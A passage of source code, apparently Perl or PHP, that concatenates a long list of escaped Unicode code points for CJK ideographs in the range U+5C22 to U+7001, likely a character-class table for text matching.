.\n'\\x{5C22}\\x{5C24}\\x{5C28}\\x{5C2D}\\x{5C31}\\x{5C38}\\x{5C39}\\x{5C3A}\\x{5C3B}' .\n'\\x{5C3C}\\x{5C3D}\\x{5C3E}\\x{5C3F}\\x{5C40}\\x{5C41}\\x{5C45}\\x{5C46}\\x{5C48}' .\n'\\x{5C4A}\\x{5C4B}\\x{5C4D}\\x{5C4E}\\x{5C4F}\\x{5C50}\\x{5C51}\\x{5C53}\\x{5C55}' .\n'\\x{5C5E}\\x{5C60}\\x{5C61}\\x{5C64}\\x{5C65}\\x{5C6C}\\x{5C6E}\\x{5C6F}\\x{5C71}' .\n'\\x{5C76}\\x{5C79}\\x{5C8C}\\x{5C90}\\x{5C91}\\x{5C94}\\x{5CA1}\\x{5CA8}\\x{5CA9}' .\n'\\x{5CAB}\\x{5CAC}\\x{5CB1}\\x{5CB3}\\x{5CB6}\\x{5CB7}\\x{5CB8}\\x{5CBB}\\x{5CBC}' .\n'\\x{5CBE}\\x{5CC5}\\x{5CC7}\\x{5CD9}\\x{5CE0}\\x{5CE1}\\x{5CE8}\\x{5CE9}\\x{5CEA}' .\n'\\x{5CED}\\x{5CEF}\\x{5CF0}\\x{5CF6}\\x{5CFA}\\x{5CFB}\\x{5CFD}\\x{5D07}\\x{5D0B}' .\n'\\x{5D0E}\\x{5D11}\\x{5D14}\\x{5D15}\\x{5D16}\\x{5D17}\\x{5D18}\\x{5D19}\\x{5D1A}' .\n'\\x{5D1B}\\x{5D1F}\\x{5D22}\\x{5D29}\\x{5D4B}\\x{5D4C}\\x{5D4E}\\x{5D50}\\x{5D52}' .\n'\\x{5D5C}\\x{5D69}\\x{5D6C}\\x{5D6F}\\x{5D73}\\x{5D76}\\x{5D82}\\x{5D84}\\x{5D87}' .\n'\\x{5D8B}\\x{5D8C}\\x{5D90}\\x{5D9D}\\x{5DA2}\\x{5DAC}\\x{5DAE}\\x{5DB7}\\x{5DBA}' .\n'\\x{5DBC}\\x{5DBD}\\x{5DC9}\\x{5DCC}\\x{5DCD}\\x{5DD2}\\x{5DD3}\\x{5DD6}\\x{5DDB}' .\n'\\x{5DDD}\\x{5DDE}\\x{5DE1}\\x{5DE3}\\x{5DE5}\\x{5DE6}\\x{5DE7}\\x{5DE8}\\x{5DEB}' .\n'\\x{5DEE}\\x{5DF1}\\x{5DF2}\\x{5DF3}\\x{5DF4}\\x{5DF5}\\x{5DF7}\\x{5DFB}\\x{5DFD}' .\n'\\x{5DFE}\\x{5E02}\\x{5E03}\\x{5E06}\\x{5E0B}\\x{5E0C}\\x{5E11}\\x{5E16}\\x{5E19}' .\n'\\x{5E1A}\\x{5E1B}\\x{5E1D}\\x{5E25}\\x{5E2B}\\x{5E2D}\\x{5E2F}\\x{5E30}\\x{5E33}' .\n'\\x{5E36}\\x{5E37}\\x{5E38}\\x{5E3D}\\x{5E40}\\x{5E43}\\x{5E44}\\x{5E45}\\x{5E47}' .\n'\\x{5E4C}\\x{5E4E}\\x{5E54}\\x{5E55}\\x{5E57}\\x{5E5F}\\x{5E61}\\x{5E62}\\x{5E63}' .\n'\\x{5E64}\\x{5E72}\\x{5E73}\\x{5E74}\\x{5E75}\\x{5E76}\\x{5E78}\\x{5E79}\\x{5E7A}' .\n'\\x{5E7B}\\x{5E7C}\\x{5E7D}\\x{5E7E}\\x{5E7F}\\x{5E81}\\x{5E83}\\x{5E84}\\x{5E87}' .\n'\\x{5E8A}\\x{5E8F}\\x{5E95}\\x{5E96}\\x{5E97}\\x{5E9A}\\x{5E9C}\\x{5EA0}\\x{5EA6}' .\n'\\x{5EA7}\\x{5EAB}\\x{5EAD}\\x{5EB5}\\x{5EB6}\\x{5EB7}\\x{5EB8}\\x{5EC1}\\x{5EC2}' .\n'\\x{5EC3}\\x{5EC8}\\x{5EC9}\\x{5ECA}\\x{5ECF}\\x{5ED0}\\x{5ED3}\\x{5ED6}\\x{5EDA}' .\n'\\x{5EDB}\\x{5EDD}\\x{5EDF}\\x{5EE0}\\x{5EE1}\\x{5EE2}\\x{5EE3}\\x{5EE8}\\x{5EE9}' .\n'\\x{5EEC}\\x{5EF0}\\x{5EF1}\\x{5EF3}\\x{5EF4}\\x{5EF6}\\x{5EF7}\\x{5EF8}\\x{5EFA}' .\n'\\x{5EFB}\\x{5EFC}\\x{5EFE}\\x{5EFF}\\x{5F01}\\x{5F03}\\x{5F04}\\x{5F09}\\x{5F0A}' .\n'\\x{5F0B}\\x{5F0C}\\x{5F0D}\\x{5F0F}\\x{5F10}\\x{5F11}\\x{5F13}\\x{5F14}\\x{5F15}' .\n'\\x{5F16}\\x{5F17}\\x{5F18}\\x{5F1B}\\x{5F1F}\\x{5F25}\\x{5F26}\\x{5F27}\\x{5F29}' .\n'\\x{5F2D}\\x{5F2F}\\x{5F31}\\x{5F35}\\x{5F37}\\x{5F38}\\x{5F3C}\\x{5F3E}\\x{5F41}' .\n'\\x{5F48}\\x{5F4A}\\x{5F4C}\\x{5F4E}\\x{5F51}\\x{5F53}\\x{5F56}\\x{5F57}\\x{5F59}' .\n'\\x{5F5C}\\x{5F5D}\\x{5F61}\\x{5F62}\\x{5F66}\\x{5F69}\\x{5F6A}\\x{5F6B}\\x{5F6C}' .\n'\\x{5F6D}\\x{5F70}\\x{5F71}\\x{5F73}\\x{5F77}\\x{5F79}\\x{5F7C}\\x{5F7F}\\x{5F80}' .\n'\\x{5F81}\\x{5F82}\\x{5F83}\\x{5F84}\\x{5F85}\\x{5F87}\\x{5F88}\\x{5F8A}\\x{5F8B}' .\n'\\x{5F8C}\\x{5F90}\\x{5F91}\\x{5F92}\\x{5F93}\\x{5F97}\\x{5F98}\\x{5F99}\\x{5F9E}' .\n'\\x{5FA0}\\x{5FA1}\\x{5FA8}\\x{5FA9}\\x{5FAA}\\x{5FAD}\\x{5FAE}\\x{5FB3}\\x{5FB4}' .\n'\\x{5FB9}\\x{5FBC}\\x{5FBD}\\x{5FC3}\\x{5FC5}\\x{5FCC}\\x{5FCD}\\x{5FD6}\\x{5FD7}' .\n'\\x{5FD8}\\x{5FD9}\\x{5FDC}\\x{5FDD}\\x{5FE0}\\x{5FE4}\\x{5FEB}\\x{5FF0}\\x{5FF1}' .\n'\\x{5FF5}\\x{5FF8}\\x{5FFB}\\x{5FFD}\\x{5FFF}\\x{600E}\\x{600F}\\x{6010}\\x{6012}' .\n'\\x{6015}\\x{6016}\\x{6019}\\x{601B}\\x{601C}\\x{601D}\\x{6020}\\x{6021}\\x{6025}' .\n'\\x{6026}\\x{6027}\\x{6028}\\x{6029}\\x{602A}\\x{602B}\\x{602F}\\x{6031}\\x{603A}' .\n'\\x{6041}\\x{6042}\\x{6043}\\x{6046}\\x{604A}\\x{604B}\\x{604D}\\x{6050}\\x{6052}' .\n'\\x{6055}\\x{6059}\\x{605A}\\x{605F}\\x{6060}\\x{6062}\\x{6063}\\x{6064}\\x{6065}' .\n'\\x{6068}\\x{6069}\\x{606A}\\x{606B}\\x{606C}\\x{606D}\\x{606F}\\x{6070}\\x{6075}' .\n'\\x{6077}\\x{6081}\\x{6083}\\x{6084}\\x{6089}\\x{608B}\\x{608C}\\x{608D}\\x{6092}' .\n'\\x{6094}\\x{6096}\\x{6097}\\x{609A}\\x{609B}\\x{609F}\\x{60A0}\\x{60A3}\\x{60A6}' .\n'\\x{60A7}\\x{60A9}\\x{60AA}\\x{60B2}\\x{60B3}\\x{60B4}\\x{60B5}\\x{60B6}\\x{60B8}' .\n'\\x{60BC}\\x{60BD}\\x{60C5}\\x{60C6}\\x{60C7}\\x{60D1}\\x{60D3}\\x{60D8}\\x{60DA}' .\n'\\x{60DC}\\x{60DF}\\x{60E0}\\x{60E1}\\x{60E3}\\x{60E7}\\x{60E8}\\x{60F0}\\x{60F1}' .\n'\\x{60F3}\\x{60F4}\\x{60F6}\\x{60F7}\\x{60F9}\\x{60FA}\\x{60FB}\\x{6100}\\x{6101}' .\n'\\x{6103}\\x{6106}\\x{6108}\\x{6109}\\x{610D}\\x{610E}\\x{610F}\\x{6115}\\x{611A}' .\n'\\x{611B}\\x{611F}\\x{6121}\\x{6127}\\x{6128}\\x{612C}\\x{6134}\\x{613C}\\x{613D}' .\n'\\x{613E}\\x{613F}\\x{6142}\\x{6144}\\x{6147}\\x{6148}\\x{614A}\\x{614B}\\x{614C}' .\n'\\x{614D}\\x{614E}\\x{6153}\\x{6155}\\x{6158}\\x{6159}\\x{615A}\\x{615D}\\x{615F}' .\n'\\x{6162}\\x{6163}\\x{6165}\\x{6167}\\x{6168}\\x{616B}\\x{616E}\\x{616F}\\x{6170}' .\n'\\x{6171}\\x{6173}\\x{6174}\\x{6175}\\x{6176}\\x{6177}\\x{617E}\\x{6182}\\x{6187}' .\n'\\x{618A}\\x{618E}\\x{6190}\\x{6191}\\x{6194}\\x{6196}\\x{6199}\\x{619A}\\x{61A4}' .\n'\\x{61A7}\\x{61A9}\\x{61AB}\\x{61AC}\\x{61AE}\\x{61B2}\\x{61B6}\\x{61BA}\\x{61BE}' .\n'\\x{61C3}\\x{61C6}\\x{61C7}\\x{61C8}\\x{61C9}\\x{61CA}\\x{61CB}\\x{61CC}\\x{61CD}' .\n'\\x{61D0}\\x{61E3}\\x{61E6}\\x{61F2}\\x{61F4}\\x{61F6}\\x{61F7}\\x{61F8}\\x{61FA}' .\n'\\x{61FC}\\x{61FD}\\x{61FE}\\x{61FF}\\x{6200}\\x{6208}\\x{6209}\\x{620A}\\x{620C}' .\n'\\x{620D}\\x{620E}\\x{6210}\\x{6211}\\x{6212}\\x{6214}\\x{6216}\\x{621A}\\x{621B}' .\n'\\x{621D}\\x{621E}\\x{621F}\\x{6221}\\x{6226}\\x{622A}\\x{622E}\\x{622F}\\x{6230}' .\n'\\x{6232}\\x{6233}\\x{6234}\\x{6238}\\x{623B}\\x{623F}\\x{6240}\\x{6241}\\x{6247}' .\n'\\x{6248}\\x{6249}\\x{624B}\\x{624D}\\x{624E}\\x{6253}\\x{6255}\\x{6258}\\x{625B}' .\n'\\x{625E}\\x{6260}\\x{6263}\\x{6268}\\x{626E}\\x{6271}\\x{6276}\\x{6279}\\x{627C}' .\n'\\x{627E}\\x{627F}\\x{6280}\\x{6282}\\x{6283}\\x{6284}\\x{6289}\\x{628A}\\x{6291}' .\n'\\x{6292}\\x{6293}\\x{6294}\\x{6295}\\x{6296}\\x{6297}\\x{6298}\\x{629B}\\x{629C}' .\n'\\x{629E}\\x{62AB}\\x{62AC}\\x{62B1}\\x{62B5}\\x{62B9}\\x{62BB}\\x{62BC}\\x{62BD}' .\n'\\x{62C2}\\x{62C5}\\x{62C6}\\x{62C7}\\x{62C8}\\x{62C9}\\x{62CA}\\x{62CC}\\x{62CD}' .\n'\\x{62CF}\\x{62D0}\\x{62D1}\\x{62D2}\\x{62D3}\\x{62D4}\\x{62D7}\\x{62D8}\\x{62D9}' .\n'\\x{62DB}\\x{62DC}\\x{62DD}\\x{62E0}\\x{62E1}\\x{62EC}\\x{62ED}\\x{62EE}\\x{62EF}' .\n'\\x{62F1}\\x{62F3}\\x{62F5}\\x{62F6}\\x{62F7}\\x{62FE}\\x{62FF}\\x{6301}\\x{6302}' .\n'\\x{6307}\\x{6308}\\x{6309}\\x{630C}\\x{6311}\\x{6319}\\x{631F}\\x{6327}\\x{6328}' .\n'\\x{632B}\\x{632F}\\x{633A}\\x{633D}\\x{633E}\\x{633F}\\x{6349}\\x{634C}\\x{634D}' .\n'\\x{634F}\\x{6350}\\x{6355}\\x{6357}\\x{635C}\\x{6367}\\x{6368}\\x{6369}\\x{636B}' .\n'\\x{636E}\\x{6372}\\x{6376}\\x{6377}\\x{637A}\\x{637B}\\x{6380}\\x{6383}\\x{6388}' .\n'\\x{6389}\\x{638C}\\x{638E}\\x{638F}\\x{6392}\\x{6396}\\x{6398}\\x{639B}\\x{639F}' .\n'\\x{63A0}\\x{63A1}\\x{63A2}\\x{63A3}\\x{63A5}\\x{63A7}\\x{63A8}\\x{63A9}\\x{63AA}' .\n'\\x{63AB}\\x{63AC}\\x{63B2}\\x{63B4}\\x{63B5}\\x{63BB}\\x{63BE}\\x{63C0}\\x{63C3}' .\n'\\x{63C4}\\x{63C6}\\x{63C9}\\x{63CF}\\x{63D0}\\x{63D2}\\x{63D6}\\x{63DA}\\x{63DB}' .\n'\\x{63E1}\\x{63E3}\\x{63E9}\\x{63EE}\\x{63F4}\\x{63F6}\\x{63FA}\\x{6406}\\x{640D}' .\n'\\x{640F}\\x{6413}\\x{6416}\\x{6417}\\x{641C}\\x{6426}\\x{6428}\\x{642C}\\x{642D}' .\n'\\x{6434}\\x{6436}\\x{643A}\\x{643E}\\x{6442}\\x{644E}\\x{6458}\\x{6467}\\x{6469}' .\n'\\x{646F}\\x{6476}\\x{6478}\\x{647A}\\x{6483}\\x{6488}\\x{6492}\\x{6493}\\x{6495}' .\n'\\x{649A}\\x{649E}\\x{64A4}\\x{64A5}\\x{64A9}\\x{64AB}\\x{64AD}\\x{64AE}\\x{64B0}' .\n'\\x{64B2}\\x{64B9}\\x{64BB}\\x{64BC}\\x{64C1}\\x{64C2}\\x{64C5}\\x{64C7}\\x{64CD}' .\n'\\x{64D2}\\x{64D4}\\x{64D8}\\x{64DA}\\x{64E0}\\x{64E1}\\x{64E2}\\x{64E3}\\x{64E6}' .\n'\\x{64E7}\\x{64EC}\\x{64EF}\\x{64F1}\\x{64F2}\\x{64F4}\\x{64F6}\\x{64FA}\\x{64FD}' .\n'\\x{64FE}\\x{6500}\\x{6505}\\x{6518}\\x{651C}\\x{651D}\\x{6523}\\x{6524}\\x{652A}' .\n'\\x{652B}\\x{652C}\\x{652F}\\x{6534}\\x{6535}\\x{6536}\\x{6537}\\x{6538}\\x{6539}' .\n'\\x{653B}\\x{653E}\\x{653F}\\x{6545}\\x{6548}\\x{654D}\\x{654F}\\x{6551}\\x{6555}' .\n'\\x{6556}\\x{6557}\\x{6558}\\x{6559}\\x{655D}\\x{655E}\\x{6562}\\x{6563}\\x{6566}' .\n'\\x{656C}\\x{6570}\\x{6572}\\x{6574}\\x{6575}\\x{6577}\\x{6578}\\x{6582}\\x{6583}' .\n'\\x{6587}\\x{6588}\\x{6589}\\x{658C}\\x{658E}\\x{6590}\\x{6591}\\x{6597}\\x{6599}' .\n'\\x{659B}\\x{659C}\\x{659F}\\x{65A1}\\x{65A4}\\x{65A5}\\x{65A7}\\x{65AB}\\x{65AC}' .\n'\\x{65AD}\\x{65AF}\\x{65B0}\\x{65B7}\\x{65B9}\\x{65BC}\\x{65BD}\\x{65C1}\\x{65C3}' .\n'\\x{65C4}\\x{65C5}\\x{65C6}\\x{65CB}\\x{65CC}\\x{65CF}\\x{65D2}\\x{65D7}\\x{65D9}' .\n'\\x{65DB}\\x{65E0}\\x{65E1}\\x{65E2}\\x{65E5}\\x{65E6}\\x{65E7}\\x{65E8}\\x{65E9}' .\n'\\x{65EC}\\x{65ED}\\x{65F1}\\x{65FA}\\x{65FB}\\x{6602}\\x{6603}\\x{6606}\\x{6607}' .\n'\\x{660A}\\x{660C}\\x{660E}\\x{660F}\\x{6613}\\x{6614}\\x{661C}\\x{661F}\\x{6620}' .\n'\\x{6625}\\x{6627}\\x{6628}\\x{662D}\\x{662F}\\x{6634}\\x{6635}\\x{6636}\\x{663C}' .\n'\\x{663F}\\x{6641}\\x{6642}\\x{6643}\\x{6644}\\x{6649}\\x{664B}\\x{664F}\\x{6652}' .\n'\\x{665D}\\x{665E}\\x{665F}\\x{6662}\\x{6664}\\x{6666}\\x{6667}\\x{6668}\\x{6669}' .\n'\\x{666E}\\x{666F}\\x{6670}\\x{6674}\\x{6676}\\x{667A}\\x{6681}\\x{6683}\\x{6684}' .\n'\\x{6687}\\x{6688}\\x{6689}\\x{668E}\\x{6691}\\x{6696}\\x{6697}\\x{6698}\\x{669D}' .\n'\\x{66A2}\\x{66A6}\\x{66AB}\\x{66AE}\\x{66B4}\\x{66B8}\\x{66B9}\\x{66BC}\\x{66BE}' .\n'\\x{66C1}\\x{66C4}\\x{66C7}\\x{66C9}\\x{66D6}\\x{66D9}\\x{66DA}\\x{66DC}\\x{66DD}' .\n'\\x{66E0}\\x{66E6}\\x{66E9}\\x{66F0}\\x{66F2}\\x{66F3}\\x{66F4}\\x{66F5}\\x{66F7}' .\n'\\x{66F8}\\x{66F9}\\x{66FC}\\x{66FD}\\x{66FE}\\x{66FF}\\x{6700}\\x{6703}\\x{6708}' .\n'\\x{6709}\\x{670B}\\x{670D}\\x{670F}\\x{6714}\\x{6715}\\x{6716}\\x{6717}\\x{671B}' .\n'\\x{671D}\\x{671E}\\x{671F}\\x{6726}\\x{6727}\\x{6728}\\x{672A}\\x{672B}\\x{672C}' .\n'\\x{672D}\\x{672E}\\x{6731}\\x{6734}\\x{6736}\\x{6737}\\x{6738}\\x{673A}\\x{673D}' .\n'\\x{673F}\\x{6741}\\x{6746}\\x{6749}\\x{674E}\\x{674F}\\x{6750}\\x{6751}\\x{6753}' .\n'\\x{6756}\\x{6759}\\x{675C}\\x{675E}\\x{675F}\\x{6760}\\x{6761}\\x{6762}\\x{6763}' .\n'\\x{6764}\\x{6765}\\x{676A}\\x{676D}\\x{676F}\\x{6770}\\x{6771}\\x{6772}\\x{6773}' .\n'\\x{6775}\\x{6777}\\x{677C}\\x{677E}\\x{677F}\\x{6785}\\x{6787}\\x{6789}\\x{678B}' .\n'\\x{678C}\\x{6790}\\x{6795}\\x{6797}\\x{679A}\\x{679C}\\x{679D}\\x{67A0}\\x{67A1}' .\n'\\x{67A2}\\x{67A6}\\x{67A9}\\x{67AF}\\x{67B3}\\x{67B4}\\x{67B6}\\x{67B7}\\x{67B8}' .\n'\\x{67B9}\\x{67C1}\\x{67C4}\\x{67C6}\\x{67CA}\\x{67CE}\\x{67CF}\\x{67D0}\\x{67D1}' .\n'\\x{67D3}\\x{67D4}\\x{67D8}\\x{67DA}\\x{67DD}\\x{67DE}\\x{67E2}\\x{67E4}\\x{67E7}' .\n'\\x{67E9}\\x{67EC}\\x{67EE}\\x{67EF}\\x{67F1}\\x{67F3}\\x{67F4}\\x{67F5}\\x{67FB}' .\n'\\x{67FE}\\x{67FF}\\x{6802}\\x{6803}\\x{6804}\\x{6813}\\x{6816}\\x{6817}\\x{681E}' .\n'\\x{6821}\\x{6822}\\x{6829}\\x{682A}\\x{682B}\\x{6832}\\x{6834}\\x{6838}\\x{6839}' .\n'\\x{683C}\\x{683D}\\x{6840}\\x{6841}\\x{6842}\\x{6843}\\x{6846}\\x{6848}\\x{684D}' .\n'\\x{684E}\\x{6850}\\x{6851}\\x{6853}\\x{6854}\\x{6859}\\x{685C}\\x{685D}\\x{685F}' .\n'\\x{6863}\\x{6867}\\x{6874}\\x{6876}\\x{6877}\\x{687E}\\x{687F}\\x{6881}\\x{6883}' .\n'\\x{6885}\\x{688D}\\x{688F}\\x{6893}\\x{6894}\\x{6897}\\x{689B}\\x{689D}\\x{689F}' .\n'\\x{68A0}\\x{68A2}\\x{68A6}\\x{68A7}\\x{68A8}\\x{68AD}\\x{68AF}\\x{68B0}\\x{68B1}' .\n'\\x{68B3}\\x{68B5}\\x{68B6}\\x{68B9}\\x{68BA}\\x{68BC}\\x{68C4}\\x{68C6}\\x{68C9}' .\n'\\x{68CA}\\x{68CB}\\x{68CD}\\x{68D2}\\x{68D4}\\x{68D5}\\x{68D7}\\x{68D8}\\x{68DA}' .\n'\\x{68DF}\\x{68E0}\\x{68E1}\\x{68E3}\\x{68E7}\\x{68EE}\\x{68EF}\\x{68F2}\\x{68F9}' .\n'\\x{68FA}\\x{6900}\\x{6901}\\x{6904}\\x{6905}\\x{6908}\\x{690B}\\x{690C}\\x{690D}' .\n'\\x{690E}\\x{690F}\\x{6912}\\x{6919}\\x{691A}\\x{691B}\\x{691C}\\x{6921}\\x{6922}' .\n'\\x{6923}\\x{6925}\\x{6926}\\x{6928}\\x{692A}\\x{6930}\\x{6934}\\x{6936}\\x{6939}' .\n'\\x{693D}\\x{693F}\\x{694A}\\x{6953}\\x{6954}\\x{6955}\\x{6959}\\x{695A}\\x{695C}' .\n'\\x{695D}\\x{695E}\\x{6960}\\x{6961}\\x{6962}\\x{696A}\\x{696B}\\x{696D}\\x{696E}' .\n'\\x{696F}\\x{6973}\\x{6974}\\x{6975}\\x{6977}\\x{6978}\\x{6979}\\x{697C}\\x{697D}' .\n'\\x{697E}\\x{6981}\\x{6982}\\x{698A}\\x{698E}\\x{6991}\\x{6994}\\x{6995}\\x{699B}' .\n'\\x{699C}\\x{69A0}\\x{69A7}\\x{69AE}\\x{69B1}\\x{69B2}\\x{69B4}\\x{69BB}\\x{69BE}' .\n'\\x{69BF}\\x{69C1}\\x{69C3}\\x{69C7}\\x{69CA}\\x{69CB}\\x{69CC}\\x{69CD}\\x{69CE}' .\n'\\x{69D0}\\x{69D3}\\x{69D8}\\x{69D9}\\x{69DD}\\x{69DE}\\x{69E7}\\x{69E8}\\x{69EB}' .\n'\\x{69ED}\\x{69F2}\\x{69F9}\\x{69FB}\\x{69FD}\\x{69FF}\\x{6A02}\\x{6A05}\\x{6A0A}' .\n'\\x{6A0B}\\x{6A0C}\\x{6A12}\\x{6A13}\\x{6A14}\\x{6A17}\\x{6A19}\\x{6A1B}\\x{6A1E}' .\n'\\x{6A1F}\\x{6A21}\\x{6A22}\\x{6A23}\\x{6A29}\\x{6A2A}\\x{6A2B}\\x{6A2E}\\x{6A35}' .\n'\\x{6A36}\\x{6A38}\\x{6A39}\\x{6A3A}\\x{6A3D}\\x{6A44}\\x{6A47}\\x{6A48}\\x{6A4B}' .\n'\\x{6A58}\\x{6A59}\\x{6A5F}\\x{6A61}\\x{6A62}\\x{6A66}\\x{6A72}\\x{6A78}\\x{6A7F}' .\n'\\x{6A80}\\x{6A84}\\x{6A8D}\\x{6A8E}\\x{6A90}\\x{6A97}\\x{6A9C}\\x{6AA0}\\x{6AA2}' .\n'\\x{6AA3}\\x{6AAA}\\x{6AAC}\\x{6AAE}\\x{6AB3}\\x{6AB8}\\x{6ABB}\\x{6AC1}\\x{6AC2}' .\n'\\x{6AC3}\\x{6AD1}\\x{6AD3}\\x{6ADA}\\x{6ADB}\\x{6ADE}\\x{6ADF}\\x{6AE8}\\x{6AEA}' .\n'\\x{6AFA}\\x{6AFB}\\x{6B04}\\x{6B05}\\x{6B0A}\\x{6B12}\\x{6B16}\\x{6B1D}\\x{6B1F}' .\n'\\x{6B20}\\x{6B21}\\x{6B23}\\x{6B27}\\x{6B32}\\x{6B37}\\x{6B38}\\x{6B39}\\x{6B3A}' .\n'\\x{6B3D}\\x{6B3E}\\x{6B43}\\x{6B47}\\x{6B49}\\x{6B4C}\\x{6B4E}\\x{6B50}\\x{6B53}' .\n'\\x{6B54}\\x{6B59}\\x{6B5B}\\x{6B5F}\\x{6B61}\\x{6B62}\\x{6B63}\\x{6B64}\\x{6B66}' .\n'\\x{6B69}\\x{6B6A}\\x{6B6F}\\x{6B73}\\x{6B74}\\x{6B78}\\x{6B79}\\x{6B7B}\\x{6B7F}' .\n'\\x{6B80}\\x{6B83}\\x{6B84}\\x{6B86}\\x{6B89}\\x{6B8A}\\x{6B8B}\\x{6B8D}\\x{6B95}' .\n'\\x{6B96}\\x{6B98}\\x{6B9E}\\x{6BA4}\\x{6BAA}\\x{6BAB}\\x{6BAF}\\x{6BB1}\\x{6BB2}' .\n'\\x{6BB3}\\x{6BB4}\\x{6BB5}\\x{6BB7}\\x{6BBA}\\x{6BBB}\\x{6BBC}\\x{6BBF}\\x{6BC0}' .\n'\\x{6BC5}\\x{6BC6}\\x{6BCB}\\x{6BCD}\\x{6BCE}\\x{6BD2}\\x{6BD3}\\x{6BD4}\\x{6BD8}' .\n'\\x{6BDB}\\x{6BDF}\\x{6BEB}\\x{6BEC}\\x{6BEF}\\x{6BF3}\\x{6C08}\\x{6C0F}\\x{6C11}' .\n'\\x{6C13}\\x{6C14}\\x{6C17}\\x{6C1B}\\x{6C23}\\x{6C24}\\x{6C34}\\x{6C37}\\x{6C38}' .\n'\\x{6C3E}\\x{6C40}\\x{6C41}\\x{6C42}\\x{6C4E}\\x{6C50}\\x{6C55}\\x{6C57}\\x{6C5A}' .\n'\\x{6C5D}\\x{6C5E}\\x{6C5F}\\x{6C60}\\x{6C62}\\x{6C68}\\x{6C6A}\\x{6C70}\\x{6C72}' .\n'\\x{6C73}\\x{6C7A}\\x{6C7D}\\x{6C7E}\\x{6C81}\\x{6C82}\\x{6C83}\\x{6C88}\\x{6C8C}' .\n'\\x{6C8D}\\x{6C90}\\x{6C92}\\x{6C93}\\x{6C96}\\x{6C99}\\x{6C9A}\\x{6C9B}\\x{6CA1}' .\n'\\x{6CA2}\\x{6CAB}\\x{6CAE}\\x{6CB1}\\x{6CB3}\\x{6CB8}\\x{6CB9}\\x{6CBA}\\x{6CBB}' .\n'\\x{6CBC}\\x{6CBD}\\x{6CBE}\\x{6CBF}\\x{6CC1}\\x{6CC4}\\x{6CC5}\\x{6CC9}\\x{6CCA}' .\n'\\x{6CCC}\\x{6CD3}\\x{6CD5}\\x{6CD7}\\x{6CD9}\\x{6CDB}\\x{6CDD}\\x{6CE1}\\x{6CE2}' .\n'\\x{6CE3}\\x{6CE5}\\x{6CE8}\\x{6CEA}\\x{6CEF}\\x{6CF0}\\x{6CF1}\\x{6CF3}\\x{6D0B}' .\n'\\x{6D0C}\\x{6D12}\\x{6D17}\\x{6D19}\\x{6D1B}\\x{6D1E}\\x{6D1F}\\x{6D25}\\x{6D29}' .\n'\\x{6D2A}\\x{6D2B}\\x{6D32}\\x{6D33}\\x{6D35}\\x{6D36}\\x{6D38}\\x{6D3B}\\x{6D3D}' .\n'\\x{6D3E}\\x{6D41}\\x{6D44}\\x{6D45}\\x{6D59}\\x{6D5A}\\x{6D5C}\\x{6D63}\\x{6D64}' .\n'\\x{6D66}\\x{6D69}\\x{6D6A}\\x{6D6C}\\x{6D6E}\\x{6D74}\\x{6D77}\\x{6D78}\\x{6D79}' .\n'\\x{6D85}\\x{6D88}\\x{6D8C}\\x{6D8E}\\x{6D93}\\x{6D95}\\x{6D99}\\x{6D9B}\\x{6D9C}' .\n'\\x{6DAF}\\x{6DB2}\\x{6DB5}\\x{6DB8}\\x{6DBC}\\x{6DC0}\\x{6DC5}\\x{6DC6}\\x{6DC7}' .\n'\\x{6DCB}\\x{6DCC}\\x{6DD1}\\x{6DD2}\\x{6DD5}\\x{6DD8}\\x{6DD9}\\x{6DDE}\\x{6DE1}' .\n'\\x{6DE4}\\x{6DE6}\\x{6DE8}\\x{6DEA}\\x{6DEB}\\x{6DEC}\\x{6DEE}\\x{6DF1}\\x{6DF3}' .\n'\\x{6DF5}\\x{6DF7}\\x{6DF9}\\x{6DFA}\\x{6DFB}\\x{6E05}\\x{6E07}\\x{6E08}\\x{6E09}' .\n'\\x{6E0A}\\x{6E0B}\\x{6E13}\\x{6E15}\\x{6E19}\\x{6E1A}\\x{6E1B}\\x{6E1D}\\x{6E1F}' .\n'\\x{6E20}\\x{6E21}\\x{6E23}\\x{6E24}\\x{6E25}\\x{6E26}\\x{6E29}\\x{6E2B}\\x{6E2C}' .\n'\\x{6E2D}\\x{6E2E}\\x{6E2F}\\x{6E38}\\x{6E3A}\\x{6E3E}\\x{6E43}\\x{6E4A}\\x{6E4D}' .\n'\\x{6E4E}\\x{6E56}\\x{6E58}\\x{6E5B}\\x{6E5F}\\x{6E67}\\x{6E6B}\\x{6E6E}\\x{6E6F}' .\n'\\x{6E72}\\x{6E76}\\x{6E7E}\\x{6E7F}\\x{6E80}\\x{6E82}\\x{6E8C}\\x{6E8F}\\x{6E90}' .\n'\\x{6E96}\\x{6E98}\\x{6E9C}\\x{6E9D}\\x{6E9F}\\x{6EA2}\\x{6EA5}\\x{6EAA}\\x{6EAF}' .\n'\\x{6EB2}\\x{6EB6}\\x{6EB7}\\x{6EBA}\\x{6EBD}\\x{6EC2}\\x{6EC4}\\x{6EC5}\\x{6EC9}' .\n'\\x{6ECB}\\x{6ECC}\\x{6ED1}\\x{6ED3}\\x{6ED4}\\x{6ED5}\\x{6EDD}\\x{6EDE}\\x{6EEC}' .\n'\\x{6EEF}\\x{6EF2}\\x{6EF4}\\x{6EF7}\\x{6EF8}\\x{6EFE}\\x{6EFF}\\x{6F01}\\x{6F02}' .\n'\\x{6F06}\\x{6F09}\\x{6F0F}\\x{6F11}\\x{6F13}\\x{6F14}\\x{6F15}\\x{6F20}\\x{6F22}' .\n'\\x{6F23}\\x{6F2B}\\x{6F2C}\\x{6F31}\\x{6F32}\\x{6F38}\\x{6F3E}\\x{6F3F}\\x{6F41}' .\n'\\x{6F45}\\x{6F54}\\x{6F58}\\x{6F5B}\\x{6F5C}\\x{6F5F}\\x{6F64}\\x{6F66}\\x{6F6D}' .\n'\\x{6F6E}\\x{6F6F}\\x{6F70}\\x{6F74}\\x{6F78}\\x{6F7A}\\x{6F7C}\\x{6F80}\\x{6F81}' .\n'\\x{6F82}\\x{6F84}\\x{6F86}\\x{6F8E}\\x{6F91}\\x{6F97}\\x{6FA1}\\x{6FA3}\\x{6FA4}' .\n'\\x{6FAA}\\x{6FB1}\\x{6FB3}\\x{6FB9}\\x{6FC0}\\x{6FC1}\\x{6FC2}\\x{6FC3}\\x{6FC6}' .\n'\\x{6FD4}\\x{6FD5}\\x{6FD8}\\x{6FDB}\\x{6FDF}\\x{6FE0}\\x{6FE1}\\x{6FE4}\\x{6FEB}' .\n'\\x{6FEC}\\x{6FEE}\\x{6FEF}\\x{6FF1}\\x{6FF3}\\x{6FF6}\\x{6FFA}\\x{6FFE}\\x{7001}' 